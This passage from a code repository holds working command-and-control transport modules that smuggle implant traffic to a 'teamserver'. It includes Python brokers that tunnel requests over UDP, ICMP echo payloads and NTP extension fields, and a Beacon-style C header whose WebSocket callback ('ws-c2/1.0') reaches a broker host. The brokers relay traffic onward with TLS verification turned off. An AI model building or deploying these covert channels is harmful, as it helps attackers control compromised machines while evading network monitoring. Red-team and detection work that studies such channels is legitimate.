LISTEN_PORT is None: 208 | raise RuntimeError("LISTEN_HOST and LISTEN_PORT must be set before calling handleCallback().") 209 | 210 | try: 211 | with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as server: 212 | server.bind((LISTEN_HOST, LISTEN_PORT)) 213 | server.settimeout(1.0) 214 | 215 | #logging.info("Listening for UDP callbacks on %s:%s", LISTEN_HOST, LISTEN_PORT) 216 | 217 | try: 218 | packet, addr = server.recvfrom(MAX_DATAGRAM_SIZE) 219 | except socket.timeout: 220 | return False 221 | 222 | logging.info("Received UDP packet from %s:%s (%d bytes).", addr[0], addr[1], len(packet)) 223 | parsed = _read_length_prefixed(packet) 224 | if parsed is None: 225 | return False 226 | 227 | encoded_request, _ = parsed 228 | encoded_response = process_func(encoded_request) 229 | 230 | response_bytes = encoded_response.encode("utf-8") 231 | framed = len(response_bytes).to_bytes(4, byteorder="little") + response_bytes 232 | server.sendto(framed, addr) 233 | logging.info("Sent UDP response to %s:%s (%d bytes).", addr[0], addr[1], len(framed)) 234 | 235 | return True 236 | 237 | except Exception as exc: # noqa: BLE001 238 | logging.exception("Error in handleCallback: %s", exc) 239 | return False 240 | 241 | 242 | # --------------------------------------------------------------------------- 243 | # Entry point 244 | # --------------------------------------------------------------------------- 245 | 246 | def main() -> None: 247 | """ 248 | Entry point. Repeatedly calls handleCallback to process requests. 249 | """ 250 | global CLI_HOST, CLI_PORT, LISTEN_HOST, LISTEN_PORT 251 | 252 | parser = argparse.ArgumentParser(description="HTTP bridge broker.") 253 | parser.add_argument( 254 | "--host", 255 | dest="host", 256 | required=True, 257 | help="Destination host for outgoing HTTP/HTTPS requests (required).", 258 | ) 259 | parser.add_argument( 260 | "--port", 261 | dest="port", 262 | type=int, 263 | required=True, 264 | help="Destination port for outgoing HTTP/HTTPS requests (required).", 265 | ) 266 | parser.add_argument( 267 | "--listen-host", 268 | dest="listen_host", 269 | required=True, 270 | help="Host/interface to listen on for incoming UDP callbacks (e.g. 0.0.0.0).", 271 | ) 272 | parser.add_argument( 273 | "--listen-port", 274 | dest="listen_port", 275 | type=int, 276 | required=True, 277 | help="Port to listen on for incoming UDP callbacks.", 278 | ) 279 | 280 | args = parser.parse_args() 281 | 282 | CLI_HOST = args.host 283 | CLI_PORT = args.port 284 | LISTEN_HOST = args.listen_host 285 | LISTEN_PORT = args.listen_port 286 | 287 | logging.info("Destination (teamserver) host: %s", CLI_HOST) 288 | logging.info("Destination (teamserver) port: %s", CLI_PORT) 289 | logging.info("Listening on %s:%s for UDP callbacks.", LISTEN_HOST, LISTEN_PORT) 290 | 291 | while True: 292 | handled = handleCallback(process_encoded_request) 293 | 294 | 295 | 296 | if __name__ == "__main__": 297 | main() 298 | -------------------------------------------------------------------------------- /examples/icmp/broker_icmp.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import base64 3 | import http.client 4 | import json 5 | import logging 6 | import socket 7 | import ssl 8 | import struct 9 | from typing import Any, Callable, Dict, List, Optional 10 | 11 | # --------------------------------------------------------------------------- 12 | # Configuration 13 | # --------------------------------------------------------------------------- 14 | 15 | logging.basicConfig( 16 | level=logging.INFO, 17 | format="%(asctime)s [%(levelname)s] %(message)s", 18 | ) 19 | 20 | # These are all set from CLI args in main() 21 | CLI_HOST: Optional[str] = None # outbound HTTP(S) host (from --host) 22 | CLI_PORT: Optional[int] = None # outbound HTTP(S) port (from --port) 23 | LISTEN_HOST: Optional[str] = None # local listen host (from --listen-host) 24 | 25 | 26 | # --------------------------------------------------------------------------- 27 | # Core HTTP bridge logic (decode → parse → send HTTP → encode) 28 | # --------------------------------------------------------------------------- 29 | 30 | def decode_request(encoded_request: str) -> Dict[str, Any]: 31 | """ 32 | Decode the base64-encoded JSON request into a Python dictionary. 33 | """ 34 | logging.debug("Decoding incoming request (length: %d).", len(encoded_request)) 35 | decoded_bytes = base64.b64decode(encoded_request) 36 | decoded_str = decoded_bytes.decode("utf-8") 37 | logging.debug("Decoded request JSON: %s", decoded_str) 38 | return json.loads(decoded_str) 39 | 40 | 41 | def build_headers(header_lines: Optional[List[str]]) -> Dict[str, str]: 42 | """ 43 | Build a headers dictionary from a list of 'Name: Value' strings. 44 | """ 45 | headers: Dict[str, str] = {} 46 | if not header_lines: 47 | logging.debug("No headers provided in request.") 48 | return headers 49 | 50 | for line in header_lines: 51 | if not line: 52 | continue 53 | if ":" in line: 54 | name, value = line.split(":", 1) 55 | name = name.strip() 56 | value = value.strip() 57 | headers[name] = value 58 | logging.debug("Parsed header: %s: %s", name, value) 59 | else: 60 | logging.warning("Skipping malformed header line (no colon found): %r", line) 61 | 62 | logging.info("Built %d request headers.", len(headers)) 63 | return headers 64 | 65 | 66 | def send_http_request(request: Dict[str, Any]) -> Dict[str, Any]: 67 | """ 68 | Send an HTTP/HTTPS request based on the decoded request dictionary. 69 | Uses CLI_HOST / CLI_PORT for the destination. 70 | """ 71 | scheme = request.get("scheme", "http") 72 | host = CLI_HOST 73 | port = CLI_PORT 74 | path = request.get("path", "/") 75 | method = request.get("method", "GET") 76 | headers = build_headers(request.get("headers")) 77 | body_b64 = request.get("body", "") 78 | body = base64.b64decode(body_b64) if body_b64 else None 79 | 80 | if not host: 81 | raise ValueError("Destination host (--host) is required.") 82 | if port is None: 83 | raise ValueError("Destination port (--port) is required.") 84 | 85 | logging.info( 86 | "Preparing %s request to %s://%s:%s%s", 87 | method, 88 | scheme, 89 | host, 90 | port, 91 | path, 92 | ) 93 | logging.debug("Request headers: %r", headers) 94 | if body is not None: 95 | logging.info("Request has a body (%d bytes).", len(body)) 96 | 97 | connection_cls = http.client.HTTPSConnection if scheme == "https" else http.client.HTTPConnection 98 | 99 | if scheme == "https": 100 | logging.debug("Creating HTTPS connection with unverified SSL context.") 101 | conn = connection_cls(host, port, context=ssl._create_unverified_context(), timeout=10) 102 | else: 103 | logging.debug("Creating HTTP connection.") 104 | conn = connection_cls(host, port, timeout=10) 105 | 106 | try: 107 | conn.request(method, path, body=body, headers=headers) 108 | logging.info("Request sent, awaiting response...") 109 | resp = conn.getresponse() 110 | resp_body = resp.read() 111 | logging.info( 112 | "Received response: %s %s (%d bytes).", 113 | resp.status, 114 | resp.reason, 115 | len(resp_body), 116 | ) 117 | resp_headers_list = [f"{k}: {v}" for k, v in resp.getheaders()] 118 | logging.debug("Response headers: %r", resp_headers_list) 119 | finally: 120 | conn.close() 121 | logging.debug("Connection to %s:%s closed.", host, port) 122 | 123 | return { 124 | "status_code": resp.status, 125 | "status_text": resp.reason, 126 | "headers": resp_headers_list, 127 | "body": base64.b64encode(resp_body).decode("ascii"), 128 | } 129 | 130 | 131 | def encode_response(response_obj: Dict[str, Any]) -> str: 132 | """ 133 | Encode a response dictionary as base64-encoded JSON. 134 | """ 135 | json_bytes = json.dumps(response_obj).encode("utf-8") 136 | logging.debug("Encoding response JSON (%d bytes) to base64.", len(json_bytes)) 137 | return base64.b64encode(json_bytes).decode("ascii") 138 | 139 | 140 | def process_encoded_request(encoded_request: str) -> str: 141 | """ 142 | High-level core processing function. 143 | 144 | Takes raw encoded request data and returns raw encoded response data. 145 | 146 | Steps: 147 | 1. Decode base64 → JSON → dict 148 | 2. Perform HTTP/HTTPS request based on dict 149 | 3. Encode response dict → JSON → base64 150 | """ 151 | logging.info("Processing encoded request (length: %d).", len(encoded_request)) 152 | request_obj = decode_request(encoded_request) 153 | logging.debug("Decoded request object: %r", request_obj) 154 | 155 | response_obj = send_http_request(request_obj) 156 | encoded_response = encode_response(response_obj) 157 | logging.info("Encoded response (length: %d).", len(encoded_response)) 158 | 159 | return encoded_response 160 | 161 | 162 | # --------------------------------------------------------------------------- 163 | # ICMP helpers 164 | # --------------------------------------------------------------------------- 165 | 166 | def icmp_checksum(data: bytes) -> int: 167 | """Compute ICMP checksum.""" 168 | if len(data) % 2: 169 | data += b"\x00" 170 | 171 | checksum = 0 172 | for i in range(0, len(data), 2): 173 | word = data[i] << 8 | data[i + 1] 174 | checksum += word 175 | checksum = (checksum & 0xFFFF) + (checksum >> 16) 176 | 177 | return ~checksum & 0xFFFF 178 | 179 | 180 | # --------------------------------------------------------------------------- 181 | # handle a callback 182 | # 183 | # This function is what you modify! 184 | # 185 | # --------------------------------------------------------------------------- 186 | 187 | def handleCallback(process_func: Callable[[str], str] = process_encoded_request) -> bool: 188 | """ 189 | Handle a single callback cycle over ICMP echo. 190 | 191 | Listens for a single ICMP echo request, extracts the payload, processes it 192 | into an HTTP request, and responds with an ICMP echo reply carrying the 193 | encoded response. 194 | """ 195 | 196 | if LISTEN_HOST is None: 197 | raise RuntimeError("LISTEN_HOST must be set before calling handleCallback().") 198 | 199 | with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as sock: 200 | sock.settimeout(1.0) 201 | sock.bind((LISTEN_HOST, 0)) 202 | #logging.info("Waiting for ICMP echo requests on %s", LISTEN_HOST) 203 | 204 | try: 205 | packet, addr = sock.recvfrom(65535) 206 | except socket.timeout: 207 | return False 208 | 209 | src_ip = addr[0] 210 | # Raw ICMP sockets on Linux include the IP header 211 | ip_header_len = (packet[0] & 0x0F) * 4 212 | if len(packet) < ip_header_len + 8: 213 | logging.debug("Dropping short packet from %s", src_ip) 214 | return False 215 | 216 | icmp_header = packet[ip_header_len : ip_header_len + 8] 217 | icmp_type, icmp_code, _, identifier, sequence = struct.unpack("!BBHHH", icmp_header) 218 | 219 | if icmp_type != 8 or icmp_code != 0: 220 | logging.debug("Ignoring non-echo packet type=%d code=%d from %s", icmp_type, icmp_code, src_ip) 221 | return False 222 | 223 | dest_ip = socket.inet_ntoa(packet[16:20]) 224 | if LISTEN_HOST not in ("0.0.0.0", "::", None) and dest_ip != LISTEN_HOST: 225 | logging.debug("Ignoring packet for destination %s (expected %s)", dest_ip, LISTEN_HOST) 226 | return False 227 | 228 | payload = packet[ip_header_len + 8 :] 229 | if len(payload) < 4: 230 | logging.warning("ICMP payload too small to contain length field from %s", src_ip) 231 | return False 232 | 233 | msg_len = int.from_bytes(payload[:4], byteorder="little") 234 | if msg_len == 0 or msg_len > len(payload) - 4: 235 | logging.warning("Invalid message length %d from %s", msg_len, src_ip) 236 | return False 237 | 238 | encoded_request = payload[4 : 4 + msg_len].decode("utf-8", errors="replace") 239 | logging.info("Received %d bytes from %s over ICMP", msg_len, src_ip) 240 | 241 | encoded_response = process_func(encoded_request) 242 | response_bytes = encoded_response.encode("utf-8") 243 | response_payload = len(response_bytes).to_bytes(4, byteorder="little") + response_bytes 244 | 245 | reply_header = struct.pack("!BBHHH", 0, 0, 0, identifier, sequence) 246 | checksum = icmp_checksum(reply_header + response_payload) 247 | reply_header = struct.pack("!BBHHH", 0, 0, checksum, identifier, sequence) 248 | reply_packet = reply_header + response_payload 249 | 250 | with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as reply_sock: 251 | reply_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 0) 252 | reply_sock.sendto(reply_packet, (src_ip, 0)) 253 | logging.info("Sent %d bytes in ICMP echo reply to %s", len(response_bytes), src_ip) 254 | 255 | return True 256 | 257 | 258 | # --------------------------------------------------------------------------- 259 | # Entry point 260 | # --------------------------------------------------------------------------- 261 | 262 | def main() -> None: 263 | """ 264 | Entry point. Repeatedly calls handleCallback to process requests. 265 | """ 266 | global CLI_HOST, CLI_PORT, LISTEN_HOST 267 | 268 | parser = argparse.ArgumentParser(description="HTTP bridge broker (ICMP mode).") 269 | parser.add_argument( 270 | "--host", 271 | dest="host", 272 | required=True, 273 | help="Destination host for outgoing HTTP/HTTPS requests (required).", 274 | ) 275 | parser.add_argument( 276 | "--port", 277 | dest="port", 278 | type=int, 279 | required=True, 280 | help="Destination port for outgoing HTTP/HTTPS requests (required).", 281 | ) 282 | parser.add_argument( 283 | "--listen-host", 284 | dest="listen_host", 285 | required=True, 286 | help="Host/interface to listen on for incoming callbacks (e.g. 0.0.0.0).", 287 | ) 288 | args = parser.parse_args() 289 | 290 | CLI_HOST = args.host 291 | CLI_PORT = args.port 292 | LISTEN_HOST = args.listen_host 293 | 294 | logging.info("Destination (teamserver) host: %s", CLI_HOST) 295 | logging.info("Destination (teamserver) port: %s", CLI_PORT) 296 | logging.info("Listening for ICMP callbacks on %s.", LISTEN_HOST) 297 | 298 | while True: 299 | handleCallback(process_encoded_request) 300 | 301 | 302 | if __name__ == "__main__": 303 | main() 304 | -------------------------------------------------------------------------------- /examples/websockets/customCallback.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #if !defined(_WININET_H) && !defined(_WININET_) 5 | #include 6 | #endif 7 | #include 8 | 9 | #ifndef KERNEL32$GetProcessHeap 10 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 11 | #endif 12 | #ifndef KERNEL32$HeapAlloc 13 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T); 14 | #endif 15 | #ifndef KERNEL32$HeapReAlloc 16 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE, DWORD, LPVOID, SIZE_T); 17 | #endif 18 | #ifndef KERNEL32$HeapFree 19 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID); 20 | #endif 21 | #ifndef KERNEL32$MultiByteToWideChar 22 | DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT, DWORD, LPCCH, int, LPWSTR, int); 23 | #endif 24 | #ifndef MSVCRT$printf 25 | DECLSPEC_IMPORT int MSVCRT$printf(const char *format, ...); 26 | #endif 27 | #ifndef MSVCRT$strlen 28 | DECLSPEC_IMPORT size_t MSVCRT$strlen(const char *str); 29 | #endif 30 | #ifndef MSVCRT$memcmp 31 | DECLSPEC_IMPORT int MSVCRT$memcmp(const void *buf1, const void *buf2, size_t count); 32 | #endif 33 | #ifndef WINHTTP$WinHttpOpen 34 | DECLSPEC_IMPORT HINTERNET WINAPI WINHTTP$WinHttpOpen(LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD); 35 | #endif 36 | #ifndef WINHTTP$WinHttpConnect 37 | DECLSPEC_IMPORT HINTERNET WINAPI WINHTTP$WinHttpConnect(HINTERNET, LPCWSTR, INTERNET_PORT, DWORD); 38 | #endif 39 | #ifndef WINHTTP$WinHttpOpenRequest 40 | DECLSPEC_IMPORT HINTERNET WINAPI WINHTTP$WinHttpOpenRequest(HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR *, DWORD); 41 | #endif 42 | #ifndef WINHTTP$WinHttpSetOption 43 | DECLSPEC_IMPORT BOOL WINAPI WINHTTP$WinHttpSetOption(HINTERNET, DWORD, LPVOID, DWORD); 44 | #endif 45 | #ifndef WINHTTP$WinHttpSendRequest 46 | DECLSPEC_IMPORT BOOL WINAPI WINHTTP$WinHttpSendRequest(HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR); 47 | #endif 48 | #ifndef WINHTTP$WinHttpReceiveResponse 49 | DECLSPEC_IMPORT BOOL WINAPI WINHTTP$WinHttpReceiveResponse(HINTERNET, LPVOID); 50 | #endif 51 | #ifndef WINHTTP$WinHttpWebSocketCompleteUpgrade 52 | DECLSPEC_IMPORT HINTERNET WINAPI WINHTTP$WinHttpWebSocketCompleteUpgrade(HINTERNET, DWORD_PTR); 53 | #endif 54 | #ifndef WINHTTP$WinHttpCloseHandle 55 | DECLSPEC_IMPORT BOOL WINAPI WINHTTP$WinHttpCloseHandle(HINTERNET); 56 | #endif 57 | 58 | #ifndef WINHTTP_WEB_SOCKET_BUFFER_TYPE 59 | typedef enum _WINHTTP_WEB_SOCKET_BUFFER_TYPE { 60 | WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE = 0, 61 | WINHTTP_WEB_SOCKET_BINARY_FRAGMENT_BUFFER_TYPE = 1, 62 | WINHTTP_WEB_SOCKET_UTF8_MESSAGE_BUFFER_TYPE = 2, 63 | WINHTTP_WEB_SOCKET_UTF8_FRAGMENT_BUFFER_TYPE = 3, 64 | WINHTTP_WEB_SOCKET_CLOSE_BUFFER_TYPE = 4 65 | } WINHTTP_WEB_SOCKET_BUFFER_TYPE; 66 | #endif 67 | 68 | #ifndef WINHTTP$WinHttpWebSocketShutdown 69 | DECLSPEC_IMPORT HRESULT WINAPI WINHTTP$WinHttpWebSocketShutdown(HINTERNET, USHORT, PVOID, DWORD); 70 | #endif 71 | #ifndef WINHTTP$WinHttpWebSocketSend 72 | DECLSPEC_IMPORT HRESULT WINAPI WINHTTP$WinHttpWebSocketSend(HINTERNET, WINHTTP_WEB_SOCKET_BUFFER_TYPE, PVOID, DWORD); 73 | #endif 74 | #ifndef WINHTTP$WinHttpWebSocketReceive 75 | DECLSPEC_IMPORT HRESULT WINAPI WINHTTP$WinHttpWebSocketReceive(HINTERNET, PVOID, DWORD, DWORD *, WINHTTP_WEB_SOCKET_BUFFER_TYPE *); 76 | #endif 77 | 78 | #ifndef WINHTTP_ACCESS_TYPE_NO_PROXY 79 | #define WINHTTP_ACCESS_TYPE_NO_PROXY 1 80 | #endif 81 | #ifndef WINHTTP_NO_PROXY_NAME 82 | #define WINHTTP_NO_PROXY_NAME ((LPCWSTR)NULL) 83 | #endif 84 | #ifndef WINHTTP_NO_PROXY_BYPASS 85 | #define WINHTTP_NO_PROXY_BYPASS ((LPCWSTR)NULL) 86 | #endif 87 | #ifndef WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET 88 | #define WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET 114 89 | #endif 90 | #ifndef WINHTTP_NO_REFERER 91 | #define WINHTTP_NO_REFERER ((LPCWSTR)NULL) 92 | #endif 93 | #ifndef WINHTTP_DEFAULT_ACCEPT_TYPES 94 | #define WINHTTP_DEFAULT_ACCEPT_TYPES ((LPCWSTR *)NULL) 95 | #endif 96 | #ifndef WINHTTP_NO_ADDITIONAL_HEADERS 97 | #define WINHTTP_NO_ADDITIONAL_HEADERS ((LPCWSTR)NULL) 98 | #endif 99 | #ifndef WINHTTP_NO_REQUEST_DATA 100 | #define WINHTTP_NO_REQUEST_DATA ((LPVOID)NULL) 101 | #endif 102 | #ifndef WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS 103 | #define WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS 1000 104 | #endif 105 | 106 | #ifndef INTERNET_FLAG_SECURE 107 | #define INTERNET_FLAG_SECURE 0x00800000 108 | #endif 109 | #ifndef ERROR_INTERNET_TIMEOUT 110 | #define ERROR_INTERNET_TIMEOUT 12002L 111 | #endif 112 | #ifndef HTTP_QUERY_FLAG_NUMBER 113 | #define HTTP_QUERY_FLAG_NUMBER 0x20000000 114 | #endif 115 | #ifndef HTTP_QUERY_STATUS_CODE 116 | #define HTTP_QUERY_STATUS_CODE 19 117 | #endif 118 | #ifndef HTTP_QUERY_STATUS_TEXT 119 | #define HTTP_QUERY_STATUS_TEXT 20 120 | #endif 121 | #ifndef HTTP_QUERY_RAW_HEADERS 122 | #define HTTP_QUERY_RAW_HEADERS 21 123 | #endif 124 | #ifndef HTTP_QUERY_RAW_HEADERS_CRLF 125 | #define HTTP_QUERY_RAW_HEADERS_CRLF 22 126 | #endif 127 | #ifndef HTTP_QUERY_CONTENT_LENGTH 128 | #define HTTP_QUERY_CONTENT_LENGTH 5 129 | #endif 130 | 131 | #define BROKER_PATH "/ws" 132 | 133 | static HINTERNET g_hSession = NULL; 134 | static HINTERNET g_hConnect = NULL; 135 | static HINTERNET g_hWebSocket = NULL; 136 | static char g_brokerHost[256]; 137 | static INTERNET_PORT g_brokerPort; 138 | 139 | static void cleanup_websocket() 140 | { 141 | if (g_hWebSocket) { 142 | WINHTTP$WinHttpWebSocketShutdown(g_hWebSocket, WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS, NULL, 0); 143 | WINHTTP$WinHttpCloseHandle(g_hWebSocket); 144 | g_hWebSocket = NULL; 145 | } 146 | if (g_hConnect) { 147 | WINHTTP$WinHttpCloseHandle(g_hConnect); 148 | g_hConnect = NULL; 149 | } 150 | if (g_hSession) { 151 | WINHTTP$WinHttpCloseHandle(g_hSession); 152 | g_hSession = NULL; 153 | } 154 | } 155 | 156 | static BOOL ensure_websocket_connected(const char *host, INTERNET_PORT port) 157 | { 158 | if (host == NULL || host[0] == '\0') { 159 | return FALSE; 160 | } 161 | 162 | SIZE_T hostLenCurrent = MSVCRT$strlen(host); 163 | SIZE_T hostLenCached = MSVCRT$strlen(g_brokerHost); 164 | 165 | if (g_hWebSocket != NULL) { 166 | if (hostLenCurrent == hostLenCached && MSVCRT$memcmp(g_brokerHost, host, hostLenCurrent) == 0 && g_brokerPort == port) { 167 | return TRUE; 168 | } 169 | cleanup_websocket(); 170 | } 171 | 172 | WCHAR hostWide[256] = {0}; 173 | WCHAR pathWide[256] = {0}; 174 | 175 | int hostLen = KERNEL32$MultiByteToWideChar(CP_UTF8, 0, host, -1, hostWide, 256); 176 | int pathLen = KERNEL32$MultiByteToWideChar(CP_UTF8, 0, BROKER_PATH, -1, pathWide, 256); 177 | if (hostLen == 0 || pathLen == 0) { 178 | return FALSE; 179 | } 180 | 181 | g_hSession = WINHTTP$WinHttpOpen(L"ws-c2/1.0", WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); 182 | if (g_hSession == NULL) { 183 | return FALSE; 184 | } 185 | 186 | g_hConnect = WINHTTP$WinHttpConnect(g_hSession, hostWide, port, 0); 187 | if (g_hConnect == NULL) { 188 | cleanup_websocket(); 189 | return FALSE; 190 | } 191 | 192 | HINTERNET hRequest = WINHTTP$WinHttpOpenRequest( 193 | g_hConnect, 194 | L"GET", 195 | pathWide, 196 | NULL, 197 | WINHTTP_NO_REFERER, 198 | WINHTTP_DEFAULT_ACCEPT_TYPES, 199 | 0); 200 | if (hRequest == NULL) { 201 | cleanup_websocket(); 202 | return FALSE; 203 | } 204 | 205 | if (WINHTTP$WinHttpSetOption(hRequest, WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET, NULL, 0) == FALSE) { 206 | WINHTTP$WinHttpCloseHandle(hRequest); 207 | cleanup_websocket(); 208 | return FALSE; 209 | } 210 | 211 | if (WINHTTP$WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0) == FALSE) { 212 | WINHTTP$WinHttpCloseHandle(hRequest); 213 | cleanup_websocket(); 214 | return FALSE; 215 | } 216 | 217 | if (WINHTTP$WinHttpReceiveResponse(hRequest, NULL) == FALSE) { 218 | WINHTTP$WinHttpCloseHandle(hRequest); 219 | cleanup_websocket(); 220 | return FALSE; 221 | } 222 | 223 | g_hWebSocket = WINHTTP$WinHttpWebSocketCompleteUpgrade(hRequest, 0); 224 | WINHTTP$WinHttpCloseHandle(hRequest); 225 | 226 | if (g_hWebSocket == NULL) { 227 | cleanup_websocket(); 228 | return FALSE; 229 | } 230 | 231 | if (hostLenCurrent >= sizeof(g_brokerHost)) { 232 | hostLenCurrent = sizeof(g_brokerHost) - 1; 233 | } 234 | 235 | memcpy(g_brokerHost, host, hostLenCurrent); 236 | g_brokerHost[hostLenCurrent] = '\0'; 237 | g_brokerPort = port; 238 | 239 | return TRUE; 240 | } 241 | 242 | static char *customCallback(const char *encodedRequest, const char *host, INTERNET_PORT port) 243 | { 244 | HANDLE hHeap = KERNEL32$GetProcessHeap(); 245 | DWORD reqLen = encodedRequest ? (DWORD)MSVCRT$strlen(encodedRequest) : 0; 246 | MSVCRT$printf("[customCallback] received request for %s:%u\n", host ? host : "", (unsigned int)port); 247 | 248 | if (encodedRequest == NULL || reqLen == 0) { 249 | MSVCRT$printf("[customCallback] no request data to send\n"); 250 | return NULL; 251 | } 252 | 253 | if (host == NULL || host[0] == '\0') { 254 | MSVCRT$printf("[customCallback] missing host for websocket connection\n"); 255 | return NULL; 256 | } 257 | 258 | if (!ensure_websocket_connected(host, port)) { 259 | MSVCRT$printf("[customCallback] failed to establish websocket connection\n"); 260 | return NULL; 261 | } 262 | 263 | if (WINHTTP$WinHttpWebSocketSend( 264 | g_hWebSocket, 265 | WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE, 266 | (PBYTE)encodedRequest, 267 | reqLen) != ERROR_SUCCESS) { 268 | MSVCRT$printf("[customCallback] failed to send websocket message\n"); 269 | cleanup_websocket(); 270 | return NULL; 271 | } 272 | 273 | DWORD bufferSize = 4096; 274 | char *responseBuf = (char *)KERNEL32$HeapAlloc(hHeap, 0, bufferSize); 275 | if (responseBuf == NULL) { 276 | MSVCRT$printf("[customCallback] allocation failed for response buffer\n"); 277 | return NULL; 278 | } 279 | 280 | DWORD totalReceived = 0; 281 | 282 | while (1) { 283 | BYTE temp[1024]; 284 | DWORD bytesRead = 0; 285 | WINHTTP_WEB_SOCKET_BUFFER_TYPE bufferType; 286 | 287 | if (WINHTTP$WinHttpWebSocketReceive(g_hWebSocket, temp, sizeof(temp), &bytesRead, &bufferType) != ERROR_SUCCESS) { 288 | MSVCRT$printf("[customCallback] websocket receive failed\n"); 289 | cleanup_websocket(); 290 | KERNEL32$HeapFree(hHeap, 0, responseBuf); 291 | return NULL; 292 | } 293 | 294 | if (bufferType == WINHTTP_WEB_SOCKET_CLOSE_BUFFER_TYPE) { 295 | MSVCRT$printf("[customCallback] websocket closed by broker\n"); 296 | cleanup_websocket(); 297 | KERNEL32$HeapFree(hHeap, 0, responseBuf); 298 | return NULL; 299 | } 300 | 301 | if (totalReceived + bytesRead + 1 > bufferSize) { 302 | bufferSize *= 2; 303 | char *newBuf = (char *)KERNEL32$HeapReAlloc(hHeap, 0, responseBuf, bufferSize); 304 | if (newBuf == NULL) { 305 | MSVCRT$printf("[customCallback] realloc failed for response buffer\n"); 306 | KERNEL32$HeapFree(hHeap, 0, responseBuf); 307 | cleanup_websocket(); 308 | return NULL; 309 | } 310 | responseBuf = newBuf; 311 | } 312 | 313 | memcpy(responseBuf + totalReceived, temp, bytesRead); 314 | totalReceived += bytesRead; 315 | 316 | if (bufferType == WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE || 317 | bufferType == WINHTTP_WEB_SOCKET_UTF8_MESSAGE_BUFFER_TYPE) { 318 | break; 319 | } 320 | } 321 | 322 | responseBuf[totalReceived] = '\0'; 323 | MSVCRT$printf("[customCallback] received %lu bytes from websocket broker\n", (unsigned long)totalReceived); 324 | return responseBuf; 325 | } 326 | -------------------------------------------------------------------------------- /examples/ntp/broker_ntp.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import base64 3 | import http.client 4 | import json 5 | import logging 6 | import socket 7 | import ssl 8 | import time 9 | from typing import Any, Callable, Dict, List, Optional, Tuple 10 | 11 | # --------------------------------------------------------------------------- 12 | # Configuration 13 | # --------------------------------------------------------------------------- 14 | 15 | NTP_HEADER_LEN = 48 16 | NTP_EXTENSION_TYPE = 0xBEEF 17 | MAX_NTP_PACKET = 65535 18 | NTP_UNIX_EPOCH_OFFSET = 2_208_988_800 # seconds between 1900-01-01 and 1970-01-01 19 | 20 | logging.basicConfig( 21 | level=logging.INFO, 22 | format="%(asctime)s [%(levelname)s] %(message)s", 23 | ) 24 | 25 | # These are all set from CLI args in main() 26 | CLI_HOST: Optional[str] = None # outbound HTTP(S) host (from --host) 27 | CLI_PORT: Optional[int] = None # outbound HTTP(S) port (from --port) 28 | LISTEN_HOST: Optional[str] = None # local UDP listen host (from --listen-host) 29 | LISTEN_PORT: Optional[int] = None # local UDP listen port (from --listen-port) 30 | 31 | 32 | # --------------------------------------------------------------------------- 33 | # Core HTTP bridge logic (decode → parse → send HTTP → encode) 34 | # --------------------------------------------------------------------------- 35 | 36 | def decode_request(encoded_request: str) -> Dict[str, Any]: 37 | """ 38 | Decode the base64-encoded JSON request into a Python dictionary. 39 | """ 40 | logging.debug("Decoding incoming request (length: %d).", len(encoded_request)) 41 | decoded_bytes = base64.b64decode(encoded_request) 42 | decoded_str = decoded_bytes.decode("utf-8") 43 | logging.debug("Decoded request JSON: %s", decoded_str) 44 | return json.loads(decoded_str) 45 | 46 | 47 | def build_headers(header_lines: Optional[List[str]]) -> Dict[str, str]: 48 | """ 49 | Build a headers dictionary from a list of 'Name: Value' strings. 50 | """ 51 | headers: Dict[str, str] = {} 52 | if not header_lines: 53 | logging.debug("No headers provided in request.") 54 | return headers 55 | 56 | for line in header_lines: 57 | if not line: 58 | continue 59 | if ":" in line: 60 | name, value = line.split(":", 1) 61 | name = name.strip() 62 | value = value.strip() 63 | headers[name] = value 64 | logging.debug("Parsed header: %s: %s", name, value) 65 | else: 66 | logging.warning("Skipping malformed header line (no colon found): %r", line) 67 | 68 | logging.info("Built %d request headers.", len(headers)) 69 | return headers 70 | 71 | 72 | def send_http_request(request: Dict[str, Any]) -> Dict[str, Any]: 73 | """ 74 | Send an HTTP/HTTPS request based on the decoded request dictionary. 75 | Uses CLI_HOST / CLI_PORT for the destination. 76 | """ 77 | scheme = request.get("scheme", "http") 78 | host = CLI_HOST 79 | port = CLI_PORT 80 | path = request.get("path", "/") 81 | method = request.get("method", "GET") 82 | headers = build_headers(request.get("headers")) 83 | body_b64 = request.get("body", "") 84 | body = base64.b64decode(body_b64) if body_b64 else None 85 | 86 | if not host: 87 | raise ValueError("Destination host (--host) is required.") 88 | if port is None: 89 | raise ValueError("Destination port (--port) is required.") 90 | 91 | logging.info( 92 | "Preparing %s request to %s://%s:%s%s", 93 | method, 94 | scheme, 95 | host, 